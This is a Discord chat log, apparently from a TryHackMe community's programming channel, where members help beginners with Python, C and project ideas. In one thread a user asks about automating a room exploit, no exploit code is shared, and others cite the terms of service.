            low = mid + 1  # Search the right half
        else:
            high = mid - 1  # Search the left half

    return -1  # Target not found

# Example Usage
sorted_list = [1, 3, 5, 7, 9, 11]
target = 7
result = binary_search(sorted_list, target)
if result != -1:
    print(f"Target {target} found at index {result}")
else:
    print("Target not found")

Two simple codes for you to work and compare with courtasy of AI.

[exotic holly]

I got it

[magic falcon]

what if the target value is -1?

[surreal bronze]

Shouldn't matter, it's returning the index not the value

[magic falcon]

That's true, but this is obiously python.... why would you use a length-base for loop instead of a more pythonic list comprehension? For learning programming, I think an argument can be made in favor of the for loop. As actual python code, I would consider it sub standard and not in line with best practices for this specific language.

[lyric mirage]

It was really just an example for a reason to learn algorithms.

[surreal bronze]

Oh, absolutely agree with that. In practice, range(len()) should never be needed.

[visual galleon]

goys how can i start programming

[upbeat frost]

Which area of programming are you interested in 🙂 ?

[visual galleon]

software developer ,web developer, computer programmer

[upbeat frost]

I think that it is too much 🙂 . You should pick one are that you're most interested in and specialize in it 🙂

[visual galleon]

software developer

[upbeat frost]

You can check out CodeCademy , it's a really useful software for someone who's seeking to start he's programming career 🙂

[visual galleon]

what about visual code studio?

[upbeat frost]

That's an IDE , you can use it to write your code 🙂 .

[visual galleon]

so, i can write by any language in it?

[upbeat frost]

Majority , probably any that you're interested in 🙂

[visual galleon]

between js and python, which one is the best?

[upbeat frost]

Well , they server different purpose , depends what you want to do 🙂

[visual galleon]

can you add me in your advent of cyberso we can go through together

[upbeat frost]

There's no such options on THM , but if you have any trouble and need help , feel free to send a message in https://discord.com/channels/521382216299839518/522158539129618453 or https://discord.com/channels/521382216299839518/1305926862114914325 🙂

[brisk beacon]

anY ruby devs here ?

[tribal ice]

Hello everybody, how can I fix that? I try import and pip install but it doesn't work

@upbeat frost help me pls

[hollow sorrel]

This is why you use virtual environments

[upbeat frost]

Which OS is this ?

[tacit lynx]

depends on your use case, js is most commonly used in front-end part of websites (it's not limited to it tho, you can use js everywhere). python is all rounder, you can use it anywhere you want. it's worth mentioning that python and js are interpreted languages which means they will not perform good in apps that require performance

you cannot go with any of them thb

tbh

just pick one

[tribal ice]

It's 12.7.2

[visual galleon]

i choose python

can i use python in vs code or it needs something else???

[upbeat frost]

You can

[visual galleon]

so i have to enable it or ?????

[tacit lynx]

install python interpreter on your machine and install python plugin for VSCode

and you will be all set

[drowsy pelican]

yes. what is your question?

[lilac holly]

in VS code you search through the extensions and there should be one for python, if your PATH directory is setup properly for python and you set your VScode interpreter as python it should be all sweet

you can even just use the terminal with powershell, cd to your code's directory then run python3 (or whatever) SCRIPTNAME.py , and it will run the python file like normal in that terminal. Alternatively I think you can just enable the python interpreter within that terminal

[visual galleon]

thanks, buddy

[wispy kestrel]

Gave +1 Rep to @shy rover (current: #1592 - 2)

[shrewd dome]

I am new to programming and would like to learn C++

[rough pebble]

hello, I'm back after a few months. Ummm how do I use python/vs code again?

[hollow sorrel]

There are many online tutorial videos on how you can set up a Python environment along with VSCode

[rough pebble]

Would you mind sending me links to those please?

[upbeat frost]

Welcome back 🙂

[stark summit]

Use your fav search engine

[rough pebble]

Thank you

[wispy kestrel]

Gave +1 Rep to @upbeat frost (current: #10 - 792)

[rough pebble]

Alright

[rough pebble]

don't tell me exactly where I'm wrong just tell me less or so hints about what I'm doing wrong

Ik the if input () is wrong

[gusty umbra]

How sweet

[rough pebble]

yea, almost our anv

[gusty umbra]

https://tenor.com/view/wojak-sad-in-the-rain-gif-19983530

[rough pebble]

tell me, how can I fix it

[gusty umbra]

You can start by making pseudo-code or flow diagrams yk

[rough pebble]

don't tell me what to do to fix it

just hints

[rough pebble]

hm?

[gusty umbra]

1 sec

[rough pebble]

alr

[gusty umbra]

flowchart is the correct name

[gusty umbra]

Okay

[rough pebble]

ah

[gusty umbra]

Helps to define the logic of the program before writing it yk. I'm a "rookie" programmer too, can't even call myself programmer since i'm still learning.

So don't take any advice i give as an absolute truth

[rough pebble]

alright, helps to know I'm not the only one as a rookie

[gusty umbra]

Everyone was a rookie at some point in their life

[rough pebble]

true

so after Imput (" ")

do I put

if imput not

heres where I'm lost

[gusty umbra]

You should really make one of these.

I can help you with the syntax if you need. But it helps A LOT to write down the logic before the code itself

as exemplified in the flowchart

[rough pebble]

alright, this time I will ask, how do I write it?

[gusty umbra]

pen and paper will do

[rough pebble]

alr, done

[gusty umbra]

there's websites that does this as well 1 sec

[rough pebble]

kk

[gusty umbra]

For now you can leave only the print statements like:

print("""
YOUR 
MESSAGE HERE
:)
""")

[rough pebble]

alright

[gusty umbra]

https://app.diagrams.net/

I used this one before

[rough pebble]

hmm?

[gusty umbra]

The website for making flowcharts

[rough pebble]

how?

[gusty umbra]

Forget it, let's just focus on the script.

Start with the imports you going to use, then you print the message

import time
import random

print("""
Hello there ...
""")

[rough pebble]

ok

and what does random do?

[gusty umbra]

I know you're learning, but let me ask you, you know basic programming concepts ? Loops, conditions, etc ?? Not the advanced stuff, just basic

[gusty umbra]

We'll get to that later

[rough pebble]

alright

[gusty umbra]

I'll explain everything, you're the one that's gonna make the code though, like you said, HINTS ONLY haha

[rough pebble]

Yea

[gusty umbra]

We can set the score system later. Let's focus on the main functionality for now

[rough pebble]

ok

[gusty umbra]

You need to:

1 - Define a random number in a range. Example: 1 to 100. Use the random module for this

2 - Define max tries for the game (like 5 or 10 or whatever you want)

3 - Create a loop and make an exit condition for the loop (win the game)

[rough pebble]

alright

ok so

[rough pebble]

(firstly how do I make this box)

I got in trouble a few months ago for not using it

[rough pebble]

alr

thank u

[gusty umbra]

Start with the first thing. How do you pick a random integer in python ?

https://docs.python.org/3/library/random.html#functions-for-integers

[rough pebble]

that's a lot of reading lol

hold up

[gusty umbra]

I'll make it easy for you: Search for "random integer"

it's on the very first page, makes sense since it's probably one of the most used functionalities

[rough pebble]

alr

Return a random integer N such that a <= N <= b. Alias for randrange(a, b+1).

[gusty umbra]

Yes. where a and b are the ranges

[rough pebble]

right

it showed me a code

[gusty umbra]

It's the ` character

[rough pebble]

oh

[gusty umbra]

you can send a screenshot too

[rough pebble]

Choose one at random
python -m random egg bacon sausage spam "Lobster Thermidor aux crevettes with a Mornay sauce"
Lobster Thermidor aux crevettes with a Mornay sauce

# Random integer
python -m random 6
6

# Random floating-point number
python -m random 1.8
1.7080016272295635

# With explicit arguments
python  -m random --choice egg bacon sausage spam "Lobster Thermidor aux crevettes with a Mornay sauce"
egg

python -m random --integer 6
3

python -m random --float 1.8
1.5666339105010318

python -m random --integer 6
5

python -m random --float 6
3.1942323316565915

YAY FINALLY

lol

[gusty umbra]

No, this is the command line usage

[rough pebble]

oh

[gusty umbra]

You need this: random.randint(a, b), also remember to assign this to a variable

[rough pebble]

ok, sorry this is all getting confusing

[gusty umbra]

No problem, here to help

[rough pebble]

let me get sum to drink

1 sec plz

alr

back

ok so

what I have right now is

import time 
import random

print ("hello there my loveley wife, I'm currenty trying to make a little game for both of us")
input (" ")
print ("I truly hope you can enjoy this game, it is a game for both of us to enjoy")
time.sleep(2)
print ("would you like the level to be hard, medium, easy")
input (" ")

is this right, or wrong

[gusty umbra]

You can remove the inputs and time.sleep() and use only one print statement

[rough pebble]

alright

[gusty umbra]

As for difficulty, we can implement that later

[rough pebble]

alright

[gusty umbra]

Difficulty meanning number of tries

[rough pebble]

so I got

import time 
import random

print ("hello there my loveley wife, I'm currenty trying to make a little game for both of us, I hope you can enjoy this game as much as I will")

up to this point I'm right or wrong

[gusty umbra]

Right, now assign the random integer to a variable.

After that, you can confirm that the number is indeed random, by printing the variable

[rough pebble]

ok, hints plz

[gusty umbra]

How do you create a variable in python ?

[rough pebble]

(sorry didn't mean to make it sound like a command)

[rough pebble]

yea

[gusty umbra]

https://www.w3schools.com/python/python_variables.asp

[rough pebble]

OHHH

I remember now...

fuck

I rlly need to get back in this again lol

ok, so now what?

[gusty umbra]

2 part

[rough pebble]

alright, but I'm thinking about

setting it up for the player to choose the answer first, like easy, hard, medium and depending on the input is depending how many tries they get

yk?

[gusty umbra]

Pseudo-code

INPUT: Choose dificulty

If input is EQUAL to 1:
do this

if input is equal to 2:

   do that

[rough pebble]

kk

[gusty umbra]

yes

[gusty umbra]

what does "kk" mean ?

[rough pebble]

nothing just like saying

ok

or alright got it

just kk

Pseudo-code 

INPUT: Choose dificulty

If input is EQUAL to 1:
        do this

if input is equal to 2:

all of this?

[gusty umbra]

Hmmm ok. For this part you'll need to know the if and elif statements

https://www.w3schools.com/python/python_conditions.asp

[gusty umbra]

this is pseudo code, you need to write that in python

[rough pebble]

even the pseudp-code?

[gusty umbra]

no

[rough pebble]

alr

[gusty umbra]

check the link i just sent about conditions

[rough pebble]

kk

done

[gusty umbra]

you also need to assign the input to a varible, so you can compare it in the if condition

[rough pebble]

hey is it ok if I try sum first/

?*

[gusty umbra]

it's your code man

[rough pebble]

thanks

give me a sec

just wanna test sum out

import time 
import random

print ("hello there my loveley wife, I'm currenty trying to make a little game for both of us, I hope you can enjoy this game as much as I will")
print ("please choose your diffeculty, hard easy or medium")
input ("")

if imput != hard:
    quit


print ("thank you for playing")
time.sleep(2)
print("first question")

didn't work

lol

[gusty umbra]

^

[rough pebble]

yea...

[gusty umbra]

First things first, don't try to write the end of the script and fit stuff in the middle.

[rough pebble]

yea

[gusty umbra]

You should check the python syntax first too

[rough pebble]

ok, no more ideas, listen to u now

[gusty umbra]

get familliar with the language

[rough pebble]

yea

[rough pebble]

how

[gusty umbra]

1 sec

[rough pebble]

kk

[rough pebble]

alright

[gusty umbra]

You should check the w3 schools or other resources to get familiar with the language

[rough pebble]

the pass won't work...

[rough pebble]

ye, I will

[gusty umbra]

#programming message

[gusty umbra]

This is intentional

[rough pebble]

hm?

[gusty umbra]

This is only hints on what you actually need to do with your code. I'll send some links that will help

https://www.w3schools.com/python/python_variables.asp
https://www.w3schools.com/python/python_user_input.asp
https://www.w3schools.com/python/python_conditions.asp
https://www.w3schools.com/python/python_while_loops.asp
https://www.w3schools.com/python/python_operators.asp

[rough pebble]

thank u!

[gusty umbra]

All you need to build your program is there. I'm going to play skyrim now, good luck !

Feel free to ping me later if you're having trouble.

This is actually very sweet, the fact that you're making a little game for your wife and all ...

[rough pebble]

thank you

[rough pebble]

have fun!

[rough pebble]

Yo, I was up all night trying to figure out the code that I didn't relize when I fell asleep lol

[rough pebble]

import time
import random

def stop


def main():
    print("hello welcome to my quiz game, please choose a name")
    
    # Prompt the user to enter their name
    user_name = input("Please enter your name here: ")
    
    # Greet the user with their name
    print(f"Hello, {user_name}!")

if __name__ == "__main__":
    main()

# greet the user with their name
print(f"we can now start, first question: ")
time.sleep(2)
print("level, easy")

print("first question, who fell in love first? #note, please use a either me or you, thank you")
input(" ")

if input != ("you"):
    print("sorry, you failed, try again later")
    stop

print("you have made it to the 2nd question of level easy")
time.sleep(2)
print("note I do not know how to make a checkpoint so dear user if you lose a question you will start from te start, forgive me")
time.sleep(2)
print("next question")

why won't it def stop?

(don't give me the answer just give me a hint)

(and plz @me)

[whole yacht]

@rough pebble recheck how to declare certain things.

[rough pebble]

Alright

How exactly?

[rough pebble]

or where do I check?

[rough pebble]

I FOUND IT

ugh, nvm

[rough pebble]

I need more than this...plz

I've tried to fix this code in another file but nothing

[magic falcon]

what's the required specficiation for a function?

[rough pebble]

I fixed it, but like...it still skips the stop or even when I just put quit it doesn't

import time
import random

def stop():
  def main():
    print("hello welcome to my quiz game, please choose a name")
    
    # Prompt the user to enter their name
    user_name = input("Please enter your name here: ")
    
    # Greet the user with their name
    print(f"Hello, {user_name}!")

if __name__ == "__main__":
    main()

# greet the user with their name
print(f"we can now start, first question: ")
time.sleep(2)
print("level, easy")

print("first question, who fell in love first? #note, please use a either me or you, thank you")
input(" ")

if input != ("you"):
    print("sorry, you failed, try again later")
    stop

print("you have made it to the 2nd question of level easy")
time.sleep(2)
print("note I do not know how to make a checkpoint so dear user if you lose a question you will start from te start, forgive me")
time.sleep(2)
print("next question")

or something like this I thiink

[magic falcon]

You should step through this and watch the execution to see why things aren't behaving the way you think

[rough pebble]

alright, I'll do that, but tmrw, I'm tired rn and I do NOT wanna mess up the code more than It is

[rough pebble]

thanks for the advice

[wispy kestrel]

Gave +1 Rep to @magic falcon (current: #11 - 788)

[hollow sorrel]

First time making a Burp plugin with Java, wish me luck @brazen eagle

Intellij IDEA already got me lost lol

[brazen eagle]

Good luck, though the new API seems pretty nice

[wheat mica]

hiii people ok so i wrote a lil intro to c programming for beginners
I would like to get feedback on my writing styles, data accuracy if your free ofcause xD
also i'll be posting more of my journey on c programming so feel free to follow ;>
https://medium.com/@winkk2512/my-c-programming-journey-starting-with-hello-world-b7b6c26f4671

[upbeat frost]

Great job buddy , keep going 😄 . Like how you explained each step 🙂

[wheat mica]

thank u for noticing it brother!!! It was my intention to explain real step by step cz when i first started out it was a real straggle for me to understand what each of these meaning xD

[wispy kestrel]

Gave +1 Rep to @upbeat frost (current: #9 - 890)

[tacit lynx]

that's pretty good, very beginner friendly

[rough pebble]

Yoooo, I FINALLY DID IT

import time
import random

def main():
    print("hello welcome to my quiz game, please choose a name")
    
    # Prompt the user to enter their name
    user_name = input("Please enter your name here: ")
    
    # Greet the user with their name
    print(f"Hello, {user_name}!")

if __name__ == "__main__":
    main()

# greet the user with their name
print(f"we can now start, first question: ")
time.sleep(2)
print("level, easy")

print("first question, who fell in love first? #note, please use a either me or you, thank you")
input(" ")

if input != ("you"):
    print("sorry, you failed, try again later")
    quit

else:
    print("you have made it to the 2nd question of level easy")
    time.sleep(2)
    print("note I do not know how to make a checkpoint so dear user if you lose a question you will start from te start, forgive me")
    time.sleep(2)
    imput ("next question:")

(The imput part was just a test thing, I don't think on putting the)

time.sleep(2)
imput ("next question: ")

FINALLY, THANK U (TO Everyone who helped me in my code!)

specially you @gusty umbra

(I have two folders one I use to fix the code and if I mess up its just a backup there's no problem I can fix it, the real one is for the code its self)

[gusty umbra]

I'll take a look at it when i have the time

[gusty umbra]

🥳

[rough pebble]

Sure!

[rough pebble]

Yea!!!!

[gusty umbra]

YOu can put the main functionality in a loop, so the program doens't exit when you give a wrong answer

[rough pebble]

How?

(Sorry for the very late response lol, you need to reply/@ me for me to reply fast)

[gusty umbra]

@rough pebble

[rough pebble]

alr

how do I define the tries?

(I got this, their the same)

the right one is the actual game, the left is a testing ground to test codes

@gusty umbra

[gusty umbra]

You can set a index integer outside the loop, and increment that each time the user tries something

if the number is equal to 5 for example you break the loop and exit the game

[rough pebble]

I got an Idea, how but I'm not positive

[gusty umbra]

Try making another program just for this

[rough pebble]

alr

[gusty umbra]

When you make it work, implement that in the main program

[rough pebble]

I'll use the left side to test it

brb

(in 30 minutes I gtg to do HW)

[gusty umbra]

is this newspeak ? hahha

https://tenor.com/view/1984-ingsoc-flag-gif-8163432

[rough pebble]

lol

[gusty umbra]

a simple while loop will do the trick

[rough pebble]

how?

lol

[gusty umbra]

1 sec

[rough pebble]

kk

[gusty umbra]

number_of_tries = 0

while number_of_tries < 3:
    input(">>> ")
    number_of_tries += 1

https://www.w3schools.com/python/python_while_loops.asp

[rough pebble]

thx

(found a New problem...)

brb

whenever I type "You" it still quits

see?

[gusty umbra]

remove the ()

just "you"

[rough pebble]

hm?

[gusty umbra]

line 26

[rough pebble]

yea

Ik

let me give it a try

1 sec

[gusty umbra]

additionally you can convert the input to lowercase

That way you can type: YoU You yOU etc

you can also remove the random module, you're not using it anymore

[upbeat frost]

Really great job buddy 😄 . I hope that you will continue this great work . I think it is pretty useful for beginners 🙂 . Keep going and keep us updated 😄

[rough pebble]

Nope

(I did it as u told me then I removed both)

did the same

[gusty umbra]

The if else conditions

[rough pebble]

hm?

take out the else?

[gusty umbra]

can you send me the src ?

[rough pebble]

sure

(this is my testing ground, NOT the "ACTUAL" quiz file)

[gusty umbra]

if input == "you":
    # do something

else:
    print("You failed")

[rough pebble]

FUCK

I KNEW IT...

fuck

alr, thanks man

[gusty umbra]

hahahah no worries

try the loop now

[rough pebble]

let me

1 sec

"expected if

[gusty umbra]

yes exactly

[gusty umbra]

^

[gusty umbra]

you only need one if/else condition

if the input is the right one do something

if not, do something else

[rough pebble]

na won't work

let me try sum

1 sec

AYYY

I Used ur idea, and made it!

(thank u!)

[gusty umbra]

🥳

[rough pebble]

see?

I swear, I'm starting to remember more and more...

thanks to u

[gusty umbra]

awesome

try the loop now

it's easy

[rough pebble]

kk

how

[gusty umbra]

^

[rough pebble]

yea

I see now

thanks

I did it

Thank you

[gusty umbra]

works ?

[rough pebble]

yea

[gusty umbra]

hooray

[rough pebble]

after 3 attempts it quits

brb

back

[gusty umbra]

What's left ?

to do

[rough pebble]

wait, the attempts do I need to do it for each question?

[gusty umbra]

idk i'ts your program

do you want to ?

[rough pebble]

I mean...

let me try sum first

won't work.

hey man, I got HW

rn

mind if we continue tmrw?

[gusty umbra]

sure no problem

just ping so i can see it

[rough pebble]

thanks

[rough pebble]

sure

[gusty umbra]

🤝

[rough pebble]

cya man

[bright gyro]

yo Gs

anybody into advert of code

im stuck im day 1 pls h3lp m3h

[tacit lynx]

i tried sum but got bored of it quickly

not big fan of it tbh

[bright gyro]

I did play aroumd with it and solved it

But yeah it consumes time and not that benificial

[tacit lynx]

yoo awesome, what lang u using?

[bright gyro]

Python

Id learn more about using libraries and apis and leave the complex numerical things for AI

[tacit lynx]

it makes you comfortable with docs, syntax etc. but i prefer learning with writing projects

[bright gyro]

Yh me too

Something that makes sense

Not nonsense numbers

[tacit lynx]

also it's funny creating tech debt cuz of skill issues

[tacit lynx]

i found that aoc is actually cool to learn dsa. it helped me a lot back in the day

just to get into dsa and shit like that

[bright gyro]

What is dsa 😭

[tacit lynx]

data structures and algorithms

i guess it's spelled like this

[bright gyro]

Oooo

Yeah im attending this course now in uni

[tacit lynx]

good luck homie

but dsa is such a cool topic god damn

i love my algs

[bright gyro]

Mid exam i got 29/30 mark while the next highest mark was 22 💀

[bright gyro]

Aye u too

[tacit lynx]

that's called stomp homie

[bright gyro]

Yh i have good charisma

[tacit lynx]

i'm not in uni, i gon't need luck bro 😭

[bright gyro]

But at the same time feels bad cuz all ppl around me are dump

Its like being a captain on sheep 😂

[tacit lynx]

i wouldn't call em dumb, maybe they are good at other htings and this is thier weak spot bro

[bright gyro]

Ah yes u have a point

[tacit lynx]

i have point 👉

pointy pointy finger

[bright gyro]

U have a pointer !

[tacit lynx]

noooo not em pointers

pointers are cool but also damn annoying

[bright gyro]

Its pointing on nothing so its is use after free vulnerable

[tacit lynx]

that's why all of my homies use RUST

[bright gyro]

Roosten chicken 😋

[tacit lynx]

what 😭

[bright gyro]

Random statments before sleep

[tacit lynx]

fair bro

[rich verge]

void Gaussian_Blur() {

    int row, col, rowOffset, colOffset;
    int newPixel;
    unsigned char pix;
    //const unsigned short int size=filter_size/2;
    const unsigned short int size = 2;

    /*---------------------- Gaussian Blur ---------------------------------*/
    for (row = 0; row < N; row++) {
        for (col = 0; col < M; col++) {
            newPixel = 0;
            for (rowOffset = -size; rowOffset <= size; rowOffset++) {
                for (colOffset = -size; colOffset <= size; colOffset++) {

                    if ((row + rowOffset < 0) || (row + rowOffset >= N) || (col + colOffset < 0) || (col + colOffset >= M))
                        pix = 0;
                    else
                        pix = frame1[M * (row + rowOffset) + col + colOffset];

                    newPixel += pix * Mask[size + rowOffset][size + colOffset];

                }
            }

            printf("New Pixel: %d\n", newPixel);
            filt[M * row + col] = (unsigned char)(newPixel / 159);

        }
    }

}```

Not only is it not printing the new pixel it just comes back with 0, 0, 0 when debugging via main

[tacit lynx]

bro is that cs50x?

[whole yacht]

good one

[sinful sparrow]

Any c++ programers

[tacit lynx]

sup

[sinful sparrow]

Where do u learn the concept of oops

[hollow sorrel]

There are plenty of books, videos, and text resources available for this. Is there a particular area in OOP that you have a hard time grasping?

This blog post roughly explains the idea of OOP

https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object-oriented_programming

[sinful sparrow]

Thanks

[livid ginkgo]

Check book "Head First Object-Oriented Analysis and Design". It demonstrates you on real examples where and why you should use OOP concepts.

[tranquil flame]

I like this book too

[sharp bone]

Object-Oriented Analysis and Design with Applications by Grady and Booch is the OG book.

[dense hound]

Lets say I wanted to code a program that interacts with an already open window, with C++ What project should I create in visual studio? What library (the include thing) should I look into?

[drifting bobcat]

Hello people, I am trying to write a zero-click automated exploit(zero to root) for a tryhackme room and I need some help around that, someone available to help?

This is my first time trying to do something like this, pretty new to the subject.

[lyric mirage]

If you use the THM machines for anything other than their intention, you're breaking their ToS.

[surreal bronze]

Sure, could you elaborate a bit more on what the goal is and the current steps you've taken?

[drifting bobcat]

Aren't they meant for learning and getting better at InfoSec in general? I don't think I am doing anything that is illegal or harms THM or any of the living/non-living thing in this universe. 🙂

[drifting bobcat]

Can I DM?

[lyric mirage]

No, it's still a breach of tos

[drifting bobcat]

How can I get a confirmation of this? is there someone I can contact?

[lyric mirage]

https://tryhackme.com/r/legal/terms-of-use

See 2.2.

[drifting bobcat]

2.2
As a condition of using the Site, you must not, except as permitted by the rules of specific Rooms and only to the extent of within a Room:

a. misuse or attack the Site or any Room by introducing viruses, trojans, worms, logic bombs or any other material which is malicious or technologically harmful to the Site, other users, or the communications networks and infrastructure used to access and make available the Site (such as by way of a denial-of-service attack); - not doing this

b. attempt to gain unauthorized access to the Site and/or Room, the server on which the Site is stored or any server, computer or database connected to the Site; and not doing this

c. engage in any unlawful, inappropriate and abusive use of the content available on the Site at all times. not doing this too

[lyric mirage]

What are you doing though, is using a room for not its intentional purpose.

Which is a)

Btw.

[drifting bobcat]

Sir/Mam, I am just trying to get better at automation for my own personal learning, I don't intend to publish this anywhere. I don't see anything against this in the ToS you shared, How is it illegal is my question which is beyond my understanding atm.

[lyric mirage]

It's not illegal, it's breaching the terms of the service.

A user was using a machine to get better at Windows, to transfer files and they had to stop as it was not on scope for the room.

This was also covered in 2.2 a)

[drifting bobcat]

I am attacking the room in manual way, I am doing that same thing via a python script, how are they different?

and I am not publishing that script in order for others to get easy access, as I said, for my own learning.

[lyric mirage]

If you wish a staff members input,

Cc @true pumice

[lyric mirage]

I don't know that. 🙂

[drifting bobcat]

thank you. 🙂

[drifting bobcat]

but I am telling you this, so that is your only way to know, I don't know how can I assure you in this stuff. 🙂

Hey @true pumice

Would really appreciate your 2 cents on this if I am allowed to do this or not?

[lyric mirage]

I've already pinged him, there is no need to ping him twice 😅

[true pumice]

I’m not sure the context here but generally you are only to use the room for it’s intended purpose:)

[drifting bobcat]

OK, the one liner question is, can I automate the exploit that is present in a room or not?

@true pumice This ^

[tulip sail]

In what world is using the machine in a room for an unintended purpose "introducing viruses, trojans, worms, logic bombs or any other material which is malicious or technologically harmful to the Site, other users, or the communications networks and infrastructure"?

I'd agree that point should be adapted to cover the common knowledge that you shouldn't misuse THM VMs, but it absolutely does not say that right now lmfao

[lyric mirage]

I've only been going on what I was told about a similar situation.

If the room isn't being used for the intention it shouldn't be

[lyric mirage]

Hence why I pinged Jabba, as he was the staff member I asked.

[tulip sail]

Yeah, it's not good, and needs to stop, but the ToS you used to back yourself up there doesn't do anything of the sort

[reef coral]

i found this cool plugin for neovim https://github.com/kawre/leetcode.nvim#-plugins
and i was wondering would something similar be possible for tryhackme, for example making cli app or plugin that would enable searching and starting room boxes and submitting flags

[hallow chasm]

what about "ping google.com"

I'm sorry 😭 I'm done now

[shadow vigil]

i need help with django

[tulip sail]

https://dontasktoask.com
What, exactly, do you need help with? 🙂

[north trellis]

Hello guys! If there is already someone who has used the API and OAuth meta (facebook, threads etc..), I have a lot of problems and questions! 🙂 thanks

[nocturne wadi]

Little side project of mine right now :)
https://github.com/hydrophobis/CRun

[quaint pine]

Hi everyone, I wanted to know if any of you knew if scraping twitter was doable (without getting instantly ip banned), I know it's against their TOS and I know there is a free api version but the rates are quite restrictive, it's just for a personal project of mine and I won't make too much requests per hour. Any ideas ?

[lyric mirage]

If it's against their ToS we're not going to help you...

[reef coral]

go with free api if it fits your needs

[nocturne wadi]

Maybe not quite programming but i got Arch linux installed, without archinstall, an iso in any way, or a live usb!

Very proud

Took 3 days

And it breaks if i shut down so i have to reboot and shutdown from the bios menu lmfao

[tacit lynx]

yooo that's great!!!!!

[tough nexus]

Arch user now btw welcome to the team dog 🥹

[tough nexus]

Now install timeshift and backup to external drive

[tough nexus]

We definitely could collavorate on making something dor this

[reef coral]

i would absolutely love to do it but, htb seems to use some kind of api token for apps like this and i am pretty sure we dont have free api

[tough nexus]

Nope i was thinking just using web automation framework as work around in the mean time

[reef coral]

i dont know if web scraping is against tos

we could ask around but i am 100% down for this

[tough nexus]

Yep ! And not sure

[tough nexus]

tryna figure out how to skip integer divsion truncation in C. float ravioli; ravioli = (5/9)*(sauce-32) how can I get (5/9) to be interpreted as floating numbers as truncation keeps setting/rounding value to 0. A work around I have used is assigning 5,9 to variables like so float x,y; x=5,y=9;there has got to be a cleaner way I can go about this lol(I am new literally just started C last week)

ughhh any chat but general is dead lol

I really barley need help just wanna spark a technical converstaion lol

[tacit lynx]

in c when you divide ints you will always get int back even when ravioli is declared as float .
"easier" workaround for this problem will be something like

float ravioli = ((float)5/(float)9) * (sauce - (float)32);

you just put (float) before and you convert this digit into float

at least that's i do it and it works for me

[tough nexus]

Aww see this is what i was looking for.

This is what i was attempting with (float)

(float)(5/9)*(sauce-32)

But now i see based on your response i need to specify both integers as float type.

Thanks bro

(Excuse horrid formatting on mobile rn)

Like this instead now thx

((float)5/(float)9)*(sauce-32)

[wispy kestrel]

Gave +1 Rep to @tacit lynx (current: #470 - 12)

[magic falcon]

casting can result in weirdness between operations on differing types as well. Recommended way to do this is by using teh built-in language features to ensure a literal is actually used as the type and not orignated as an int and then typecast.

Also we usually don't help on coursework or schoolwork, as we can't really tell the difference between allowed things and honor code violations for your institution

[rustic briar]

smh why use casting when you can just declare floats float ravioli = (5.0/9.0) * (sauce - 32.0);

[tacit lynx]

yeah you can do that too, but like i said that's how i do it

[tough nexus]

Im noob bro chill 💀💀

But haha thanks bro this is what i was looking for 😂

[wispy kestrel]

Gave +1 Rep to @rustic briar (current: #782 - 6)

[tough nexus]

Not for school im just reading a book on C as im a beginner.

[tough nexus]

Yea I had felt type casting could get a little wonky that is why i was asking for better ways to go about doing this but i see now that others have answered

[tacit jewel]

Oh C my first programming language!.. i will love to revisit C!..

[tacit lynx]

yea that's fr

[brazen eagle]

That'll declare doubles in C, iirc. Use 5.0f for floats

[languid topaz]

if it declare double or not at this point could be compiler dependant

In some compiler for some embeded system, 9.0 would declare float, and 9 would make an int, where an int would be 16 bits

[tough nexus]

Thanks adding to my notes now

[wispy kestrel]

Gave +1 Rep to @brazen eagle (current: #13 - 615)

[brazen eagle]

Embedded systems are a different beast

Either way best to be explicit, 5.0f will declare float, and 5.0d will declare double

[languid topaz]

Does 5.0d really work? I never saw that syntax before for double

[nocturne wadi]

It does on Java at the very least

Thats the only place ive seen it in my programming before

[magic falcon]

https://en.cppreference.com/w/c/language/floating_constant

There is a similar type of documentation for cpp as well.

[brazen eagle]

Ah might be cpp then

[magic falcon]

it's both languages truthfully. The constant literal declarations are intentionally the same, since C is a subset of C++

[rapid charm]

better to specify with f if you're using floats

[brisk coral]

Do you think programming a ftp server is good for a beginner project in C++?

I'm migrating from python with high knowledge coding with regex, threading, asynchronous programming etc

I want something challenging

Something that will actually benefit me in the long run

I know assembly and how memory works, so I'm looking for a difficult project that could span multiple files or folders

[tacit lynx]

c++ will be a nice challange in of itself. ftp server will not be IMO that challanging project to make, also i don't think that it will be project that could span multiple directories

it's a nice starting project tho

[brisk coral]

Perfect, have you got any more bigger projects that could possibly be worked on?

I'm tryna go big or go home

[tacit lynx]

you mean if i worked on something bigger or if i have ideas for bigger projects to write

i'm confused

[brisk coral]

Apologies, I am trying to work on something that could potentially take a month or two to complete

[tacit lynx]

you can push any project to take longer time to complete. you can add more and more features, go stupid on optimalizations etc

[brisk coral]

That is true, I'm just trying to push further. This is by doing low level kernel stuff and I don't think developing protocols and servers that I already know is considered proactive

[tacit lynx]

yoo can i join you in this project? this sounds fun

[brisk coral]

Haha sure

The first step is creating something insane

[tacit lynx]

first step is the insanity

[brisk coral]

Creating new protocols is pointless unless you're getting paid, like creating compilers, ASTs, debuggers, decompilers etc

I wanna create something good

[brisk coral]

But c++ is such a low level language that we'd have to create our own function to use in functions bro

[tacit lynx]

i'm c/rust guy myself

[brisk coral]

Is it better? Idk but I think c is easier than go, that may be controversial but it's how it is for me

[brisk coral]

That's some good languages

[tacit lynx]

go is easy af brother, and you can build everything with only stdlib

[brisk coral]

The problem that I have with rust is it's undeveloped ecosystem like I can't develop regex with exrex or develop regex with regexgen like I can with python

[brisk coral]

Fr? I might have to learn it

[tacit lynx]

it will take you like an afternoon to get basics of go, tour of go is goated way to learn it
https://go.dev/tour/welcome/1

[tacit lynx]

i mean rust ecosystem is growing pretty fast, there are a lot of ppl outta here porting everything possible to rust

so u knowwwww

[brisk coral]

https://tenor.com/view/python-programming-c-programming-gif-24295559

[tacit lynx]

that's sum struggles

fr

[brisk coral]

It may be hard but it's not as hard as assembly

It all follows rules, and rules can be broken

I wonder if there's any undocumented vulnerabilities in rust because it's an upcoming language

[tacit lynx]

i don't think so

[brisk coral]

Maybe not, however they may come from external libraries eventually

[tacit lynx]

dunno can't tell bro

[brisk coral]

Yeah fair enough, I guess you'd have to scan it daily

[tulip sail]

Assembly is about as simple as you get, as far as languages go. There are basically no stylistic rules. It's literally just "what does the processor support".

Granted that makes actually doing anything complicated with it take longer, but the extra time is down to not having any standard functionality to fall back on, rather than the language itself being weird (unlike Rust ).

[nocturne wadi]

If there isnt undocumented vulnerabilities in any language then the devs are doing something right lol

[nocturne wadi]

Im going to try to make a hashing algorithm

I think i want the seed for it to be based off of the string itself

[tough nexus]

